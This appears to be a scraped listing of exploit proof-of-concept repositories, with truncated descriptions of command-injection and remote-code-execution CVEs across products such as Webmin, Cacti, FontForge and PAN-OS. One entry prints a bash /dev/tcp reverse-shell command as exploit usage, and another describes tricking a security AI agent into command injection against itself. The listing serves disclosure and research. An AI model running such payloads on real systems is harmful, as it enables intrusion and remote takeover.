CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 test program This remote command execution vulnerability in webmin, roughly caused by perl's qx/…/ leading to command execution, requires certain special conditions. During reproduction, I casually wrote a graphical exploit program. It is worth noting that the user...

CVE-2020-13159

CVE-2020-13159 - Artica Proxy before 4.30.000000 Community Edition allows Multiple OS command injection. Product Description: Artica Tech offers a powerful but simple-to-use solution, usually the preserve of Large and Multinational companies. With a starting price of just 99€ and more than 62 000...

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor ⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal. Table of Contents Overview Vulnerability Details...

CVE-2025-67511

CVE-2025-67511: Tricking a Security AI Agent Into Pwning Itself Hacktive Security blog post for CVE-2025-67511 Blog Post Link : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR A command injection vulnerability in the function...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script A short and sweet simple exploit script for the CVE-2012-2982 Authenticated RCE vulnerability in the /file/show.cgi/bin endpoint. Webmin RCE Exploit — CVE-2012-2982 This repository contains a Python proof-of-concept exploit for Webmin 🧠 Notes Payload defaults to a bas...

CVE-2024-25082_CVE-2024-25081

⚠️ FontForge RCE — CVE-2024-25081 & CVE-2024-25082 - PoC 📖 Overview Proof-of-concept exploit for two command injection vulnerabilities in FontForge ≤ 20230101 Splinefont component. CVE| Vector| Trigger ---|---|--- CVE-2024-25081| Crafted filename| Direct file open CVE-2024-25082| Crafted archive...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC & Exploit ⚠ WARNING: For authorized testing only. Do not use against systems you do not own or have written permission to test. This is a Proof of Concept for authorized testing only. What this is Small repository with: CiscoPoc.py — harmless PoC to check for...

CVE-2022-46169

CVE-2022-46169 PoC: Authentication Bypass and Remote Code Execution This repository contains a PoC for the CVE-2022-46169 vulnerability, which allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability affects Cacti, version 1.2.22,...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

CVE-2021-4045

🔍 CVE-2021-4045: Vulnerabilidad de Inyección de Comandos en TP-Link Tapo C200 CVE-2021-4045 📌 Resumen CVE-2021-4045 es una vulnerabilidad de inyección de comandos descubierta en la cámara TP-Link Tapo C200 , que permite a un atacante tomar el control total del dispositivo con privilegios deroot...

CVE-2025-8110-Gogs-Remote-Code-Execution

Affected Software: Gogs self‑hosted Git service versions prior to 0.13.0. Vulnerability Type: Command injection in the Git hook mechanism. Description: An attacker with push access to a repository can craft a malicious Git hook that injects commands into the post‑receive hook script, leading to...

CVE-2024-3400

Vulnerabilidad CVE-2024-3400 Descripción La vulnerabilidad CVE-2024-3400 es una vulnerabilidad de seguridad que afecta a los cortafuegos PAN-OS en las versiones 10.2, 11.0 y 11.1. Esta vulnerabilidad se explota cuando las configuraciones de puerta de enlace GlobalProtect y telemetría de...

CVE-2020-15778

CVE-2020-15778 Introducción Este repositorio reproduce CVE-2020-15778. Pasos 1. Construye las imágenes docker para el servidor scp y el cliente cd client docker build -t client-cve . cd server docker build -t server-cve . 2. Levanta el servidor scp en un contenedor. docker run -d -P --name...

CVE-2024-12970

CVE-2024-12970 CVE-2024-12970 describes an OS Command Injection vulnerability found in the My Computer software of the Pardus operating system. This vulnerability allows a user to inject system commands through the file name parameter, thus enabling an attacker to execute malicious commands on th...

CVE-2009-4623

Advanced Comment System 1.0 - Remote Command Execution RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2022-25064

CVE-2022-25064 This script exploits a OS Command Injection vulnerability in the TPLink WR840N router, using the configure function IPv6 protocol...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer is the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily. Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more PHPMailer...

CVE-2025-11953-PoC

Description The Metro Development Server, which is opened by the React Native Community CLI, binds to external interfaces by default. The server exposes an endpoint that is vulnerable to OS command injection. This allows unauthenticated network attackers to send a POST request to the server and r...

CVE-2025-56803

CVE-2025-56803 OS Command Injection Vulnerability via Plugin Execution in Figma Desktop Application 1. Overview Application : Figma Desktop Application Version : 125.6.5 Vendor : Figma, Inc. CWE : CWE-78: Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' CVS...

CVE-2023-40289

CVE-2023-40289 This is an exploit for CVE-2023-40289, a command injection vulnerability in several Baseband Management Controllers BMC by with firmware by ATEN. Examples of affected devices include Aspeed's AST2300 or AST2500, which can be found on Supermicro's X10 and X11 series server systems,...